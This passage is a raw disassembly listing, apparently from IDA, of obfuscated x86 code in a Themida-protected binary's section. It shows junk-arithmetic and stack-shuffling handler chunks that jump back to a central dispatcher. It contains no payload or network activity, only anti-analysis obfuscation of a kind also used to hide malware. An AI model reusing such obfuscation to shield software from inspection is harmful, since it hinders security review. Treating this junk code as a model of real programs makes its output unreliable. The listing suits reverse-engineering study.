; FUNCTION CHUNK AT 0056F816 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571B8F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572E0B SIZE 0000000B BYTES
lodsd
push edi
push 21581D42h
jmp loc_560B84
sub_5734A7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5734B3: ; CODE XREF: sub_574304-ECAFj
pop esi
jmp loc_5675EF
; ---------------------------------------------------------------------------
loc_5734B9: ; CODE XREF: sub_574304-6151j
sub edi, eax
pop eax
jmp loc_570B84
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_5734C1: ; CODE XREF: sub_56651E-1D8Fj
pop esp
mov [esp+0], ebx
mov ebx, 40000h
push ebx
push edx
mov edx, 59673A05h
sub [esp+8+var_4], 6EF6571Ch
sub [esp+8+var_4], edx
add [esp+8+var_4], 6EF6571Ch
mov edx, [esp+8+var_8]
add esp, 4
pop edx
push ebp
mov ebp, 31ED214Ah
dec ebp
jmp loc_567636
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5734FB: ; CODE XREF: sub_563819+560Fj
mov edi, [esp-8+arg_4]
add esp, 4
xor esi, [esp-0Ch+arg_8]
jmp loc_5639CA
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
loc_573509: ; DATA XREF: Themida_:0055FCC0o
mov cx, [esp]
push edx
jmp loc_571437
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_573513: ; CODE XREF: sub_571289-6ECBj
xor esi, 0FA27507Bh
push edx
mov edx, esi
push edx
pop ecx
pop edx
mov esi, [esp+4+var_4]
add esp, 4
sub eax, ecx
jmp loc_572462
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_57352C: ; CODE XREF: sub_568E5C+46C2j
push 528043FBh
mov edx, [esp+10h+var_10]
add esp, 4
neg edx
push ebx
mov ebx, 117B6B85h
xor ebx, 6D0A1B19h
jmp loc_566D54
; END OF FUNCTION CHUNK FOR sub_568E5C
; =============== S U B R O U T I N E =======================================
sub_57354D proc near ; CODE XREF: sub_569193+BE87j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056047D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00560703 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560B6F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00560E6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560F4A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561300 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00561E82 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561FF0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562703 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562827 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562DDF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562E3C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562F88 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00563B00 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00563FB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005645FA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00564702 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00565008 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005656B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005658C0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056596B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056668F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005668A2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056697A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566BA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566CB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005674AF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056788D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005679E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567CB7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567E2A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005682F5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005687FB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005696C6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569C1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569F64 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00569F98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A17B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A3E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A690 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A6F5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AD2E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AF76 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B137 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B429 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B4E5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BBB3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BCA0 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056C561 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CBFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D5C7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D7EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D8FE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056E2F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E4A6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E855 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056EA12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056ED0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F6D6 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056FD54 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570213 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057034A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057040D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005708E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005709E4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570EE1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057118D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057154D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005717B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005717FC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00571862 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571BB1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571C10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571C39 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571EE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005726EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572768 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005727AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005728F1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005729E1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00572F04 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005736EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574157 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005745BB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574751 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574A34 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00574DD4 SIZE 00000025 BYTES
sub esp, 4
push esp
pop [esp+8+var_8]
add [esp+4+var_4], 4
mov ebx, [esp+4+var_4]
push ebp
jmp loc_565008
sub_57354D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626B
loc_573561: ; CODE XREF: sub_56626B+C1D8j
sub cl, 0B6h
jmp loc_56E554
; END OF FUNCTION CHUNK FOR sub_56626B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_573569: ; CODE XREF: sub_5678CB-71CDj
xchg edx, [esp+4+var_4]
pop esp
xor dl, 0F8h
add dl, 3Dh
xor al, dl
push dword ptr [esp+0]
jmp loc_569568
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574D8F
loc_57357D: ; CODE XREF: sub_574D8F+18j
pop ebx
add esp, 4
add esp, 4
push edi
mov edi, 4F6411B7h
add ebx, 69AC6D37h
sub ebx, edi
push eax
mov eax, 69AC6D37h
jmp loc_56D2AB
; END OF FUNCTION CHUNK FOR sub_574D8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_5735A0: ; CODE XREF: sub_56E126-696Bj
mov eax, 1BEC513Fh
jmp loc_56F448
; END OF FUNCTION CHUNK FOR sub_56E126
; =============== S U B R O U T I N E =======================================
sub_5735AA proc near ; CODE XREF: sub_56D589+4141j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056519D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566823 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566F9D SIZE 00000029 BYTES
push ebp
xor dword ptr [esp+0], 0B840CBDh
pop esi
xor esi, 0B840CBDh
pop ebp
push esi
push ecx
pop esi
mov ecx, [esp+0]
add esp, 4
jmp loc_56519D
sub_5735AA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_5735C8: ; CODE XREF: sub_56E1B8+57CAj
neg ecx
xor ecx, 0B392C3B8h
mov esi, ecx
pop ecx
sub edx, esi
jmp loc_573C6B
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_5735DA: ; CODE XREF: sub_57199D-1119Ej
add ebx, 32D5673Dh
shr ebx, 8
xor ebx, 406EF3D3h
jmp sub_56E4D4
; END OF FUNCTION CHUNK FOR sub_57199D
; ---------------------------------------------------------------------------
loc_5735EE: ; CODE XREF: Themida_:00561A96j
sub esi, 589D1F27h
jmp loc_56FE76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_5735F9: ; CODE XREF: sub_573167-D3BEj
pop ecx
jmp loc_565228
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_5735FF: ; CODE XREF: sub_56C83E-BEFEj
mov [esp+4+var_4], eax
jmp loc_56410B
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_573607: ; CODE XREF: sub_56616D-3622j
push edx
mov edx, 5934AC8Ch
jmp loc_564C1F
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_573612 proc near ; DATA XREF: Themida_:0055FCE4o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00563112 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00564A02 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565493 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005687AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AC96 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C724 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056D5B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D885 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F3F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056FEBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572FFF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573DE9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574AB5 SIZE 0000001A BYTES
mov cx, [esp+0]
push ebx
push esp
mov ebx, [esp+8+var_8]
jmp loc_56C724
sub_573612 endp
; ---------------------------------------------------------------------------
loc_573620: ; CODE XREF: Themida_:005723FBj
add eax, ebx
push edi
mov edi, 5D4E41B4h
xor edi, 7ED6F03h
sub eax, edi
pop edi
pop ebx
xchg eax, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_573642: ; CODE XREF: sub_56B1DC-A2D6j
or esi, 62EB45D5h
xor esi, 7DA708AAh
add esi, 42075947h
jmp loc_5731E2
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_573659: ; CODE XREF: sub_5604FE+9079j
push dword ptr [esp+0]
pop edx
jmp sub_56C3E2
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5736FA
loc_573662: ; CODE XREF: sub_5736FA-3276j
add eax, 0CB612ACh
sub eax, 17C657AFh
pop edi
mov esi, [esp-8+arg_4]
add esp, 4
push 6BE5h
jmp loc_5650FC
; END OF FUNCTION CHUNK FOR sub_5736FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_57367D: ; CODE XREF: sub_56657A+3645j
imul cl
jmp loc_5645D6
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_573684: ; CODE XREF: sub_567C58+19j
push edi
mov edi, 0E373BCCh
sub edi, 76314A9Ch
push edi
neg [esp+10h+var_10]
mov edi, [esp+10h+var_10]
push esi
mov esi, esp
jmp loc_5615C8
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_57369F: ; CODE XREF: sub_570FB7-B085j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
or edx, eax
shl edx, 1
push 263Bh
jmp loc_564082
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_5736BF: ; CODE XREF: sub_569A84+E14j
mov [esp+0], ebx
jmp loc_568ACD
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_5736C7: ; CODE XREF: sub_567B29+7D9Bj
add ebx, 262772EAh
push edx
push 21EC78BAh
pop edx
add ebx, edx
pop edx
sub esp, 4
jmp loc_57321C
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
loc_5736E2: ; CODE XREF: Themida_:005622B4j
add ebx, eax
pop eax
push ebp
push edx
jmp loc_56FCB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5736EC: ; CODE XREF: sub_57354D-D95j
push [esp+10h+var_10]
mov ebp, [esp+14h+var_14]
add esp, 4
jmp sub_567049
; END OF FUNCTION CHUNK FOR sub_57354D
; =============== S U B R O U T I N E =======================================
sub_5736FA proc near ; CODE XREF: sub_574CBE-FFE9j
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005650FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570481 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573662 SIZE 0000001B BYTES
push ebp
mov ebp, 57130F65h
and ebp, 0C48760Dh
push esi
mov esi, 0F749F359h
sub ebp, esi
pop esi
sub eax, ebp
jmp loc_570481
sub_5736FA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_573716: ; CODE XREF: sub_570C6A-C939j
add ebp, 534F4A02h
sub ebp, 27232158h
pop esi
pop edi
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
btr word ptr [esp-4+arg_0], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_573735: ; CODE XREF: sub_561541+2351j
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
pop esp
or eax, eax
jz loc_56CE6D
push dword ptr [edi+1Ch]
push ebp
mov ebp, 69B11F7Ah
add [esp+8+var_4], ebp
pop ebp
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_561332
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_573763: ; CODE XREF: sub_5733CA-C3F8j
add esi, ecx
pop ecx
or esi, 17F55A8Dh
push ecx
push ebx
mov ebx, 197D4E79h
sub ebx, 818573DEh
jmp loc_56C540
; END OF FUNCTION CHUNK FOR sub_5733CA
; =============== S U B R O U T I N E =======================================
sub_57377E proc near ; CODE XREF: sub_560276+DDE1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005611C6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056357B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AB1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056DCF3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574D38 SIZE 00000025 BYTES
sub esp, 4
mov [esp+0], edi
mov edi, 88073D3Bh
sub edx, edi
mov edi, [esp+0]
add esp, 4
jmp loc_574D38
sub_57377E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_57379C: ; CODE XREF: Themida_:0056F9CCj
pop eax
jmp loc_569ADD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568F83
loc_5737A2: ; CODE XREF: sub_568F83-61C2j
add esp, 4
add edi, esi
pop esi
xor edi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], edi
xor edi, [esp-0Ch+arg_8]
jmp loc_56DA73
; END OF FUNCTION CHUNK FOR sub_568F83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5737B9: ; CODE XREF: sub_56B06D-6BBCj
push [esp+8+var_8]
jmp loc_572B8E
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_5737C1: ; CODE XREF: sub_5738F4-1263Fj
pop edi
add ebx, 6FD86E81h
add ebx, eax
sub ebx, 6FD86E81h
jmp loc_566EF8
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5737D5: ; CODE XREF: sub_561027+140E4j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Ch+var_1C]
jmp loc_5678F4
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5737EB: ; CODE XREF: sub_561418+1j
mov ebp, 19CB674Fh
xor ebp, 68CC7BCEh
jmp loc_5629C7
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_5737FB: ; CODE XREF: sub_567CFE+653Ej
push ecx
jmp loc_56B211
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_573801: ; CODE XREF: sub_566078+DF2j
mov ecx, 0EC9F145Bh
add edx, ecx
jmp loc_5653F6
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_57380D: ; CODE XREF: sub_5671E1+4820j
add esp, 4
sub edx, 318F3A6Ch
add edi, 6CDD7F02h
sub edi, edx
sub edi, 6CDD7F02h
pop edx
add edi, 336541D9h
jmp loc_5617C9
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_573833: ; CODE XREF: sub_56D464+1880j
pop esi
add esi, 4
push esi
jmp loc_56B0FE
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_573840: ; CODE XREF: sub_570CE4-EE10j
push 7E40h
mov [esp+0Ch+var_C], ecx
mov ecx, 0DEFC5360h
add ebp, 31351870h
sub ebp, 186972E6h
sub ebp, ecx
add ebp, 186972E6h
sub ebp, 31351870h
jmp loc_565346
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_57386C: ; CODE XREF: sub_5690E8+BDA1j
sub eax, 9164464Eh
jmp loc_569A96
; END OF FUNCTION CHUNK FOR sub_5690E8
; =============== S U B R O U T I N E =======================================
sub_573876 proc near ; CODE XREF: sub_56CD13-9F09j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00561435 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056463B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564D09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566271 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568EBB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056AF28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056B235 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00570938 SIZE 0000001D BYTES
push ebx
jmp loc_56AF28
sub_573876 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_57387C: ; CODE XREF: sub_5678CB-20E6j
mov [esp+0], ecx
mov ch, 0Bh
xor ch, 0AAh
push ebx
jmp loc_569D40
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_57388A: ; CODE XREF: sub_56241E+1162Cj
sub dx, 472Ah
sub dx, ax
jmp loc_566847
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_573897: ; CODE XREF: sub_57549C-3E41j
pop edi
jmp loc_56A445
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_57389D: ; CODE XREF: sub_5620B7+102DFj
mov eax, dword ptr [esp+0Eh+var_E]
add esp, 4
pop edx
jmp loc_56640D
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5738AC: ; CODE XREF: sub_568E5C-2042j
pop [esp+4+var_4]
pop esp
push esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 4
add esi, 51B715B1h
jmp loc_560BA0
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_5738D2: ; CODE XREF: sub_569DB5-58D9j
pop esp
mov ax, [esp-4+arg_0]
sub esp, 4
mov [esp+0], ebp
sub esp, 4
mov [esp+4+var_4], esp
sub esp, 4
jmp loc_562A9A
; END OF FUNCTION CHUNK FOR sub_569DB5
; =============== S U B R O U T I N E =======================================
sub_5738F4 proc near ; CODE XREF: sub_5605BC+F1C1j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005612AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056210B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562EE9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564D17 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565616 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566D73 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566EF8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D009 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E19D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F8D9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005704FE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0057067D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570D80 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572CB5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572F88 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005733DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005737C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575481 SIZE 0000000C BYTES
push ebx
jmp loc_572F88
sub_5738F4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5738FA proc near ; DATA XREF: Themida_:0055FD74o
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp+0], cl
pushf
jmp loc_55FF9F
sub_5738FA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_573909: ; CODE XREF: sub_561027+121CDj
mov edi, [esp+0]
jmp loc_564771
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_573911: ; CODE XREF: sub_569CBC+1Bj
pop esi
sub ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_565CDB
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_57391E: ; CODE XREF: sub_570CE4+228Aj
push eax
jmp loc_567D24
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_573924: ; CODE XREF: sub_56D464-BB76j
pop eax
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
jmp loc_56ECDC
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_573939: ; CODE XREF: sub_56EFD2+25F7j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_57393E: ; CODE XREF: sub_564D26+9A05j
add edx, ecx
jmp loc_5745F2
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_573945: ; CODE XREF: sub_5747FA-4964j
or [esp-8+arg_4], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_57394F: ; CODE XREF: sub_56241E+6EFBj
mov bx, 244Ah
dec bx
shr bx, 7
jmp loc_562125
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_57395E: ; CODE XREF: sub_56E1B8+9j
add ebp, 4
xchg ebp, [esp+0]
pop esp
add esp, 4
or edx, 33E404BDh
or edx, 35A51C58h
dec edx
push esi
push ecx
mov ecx, 16B87D9Eh
jmp loc_5735C8
; END OF FUNCTION CHUNK FOR sub_56E1B8
; ---------------------------------------------------------------------------
loc_573987: ; CODE XREF: Themida_:00568711j
push ebx
jmp loc_56D38C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57398D: ; CODE XREF: sub_561418+D7C3j
pop ebx
and edx, 7F4947C0h
sub edx, 25427C70h
not edx
push 4272h
mov [esp-4+arg_0], edi
jmp loc_572725
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563ADF
loc_5739A9: ; CODE XREF: sub_563ADF+D6D3j
mov esp, [esp+8+var_8]
mov [esp+0], esp
jmp sub_566B79
; END OF FUNCTION CHUNK FOR sub_563ADF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5739B4: ; CODE XREF: sub_57549C-5004j
mov esp, [esp+8+var_8]
mov [esp+0], ebp
mov ebp, 71A45AEAh
shr ebp, 5
sub ebp, 38D22D3h
sub ecx, 52561B11h
add ecx, ebp
jmp sub_568CD2
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5739D5: ; CODE XREF: sub_561418+4F55j
mov esi, [esp+1Ch+var_1C]
add esp, 4
sub ebp, ebx
jmp loc_568275
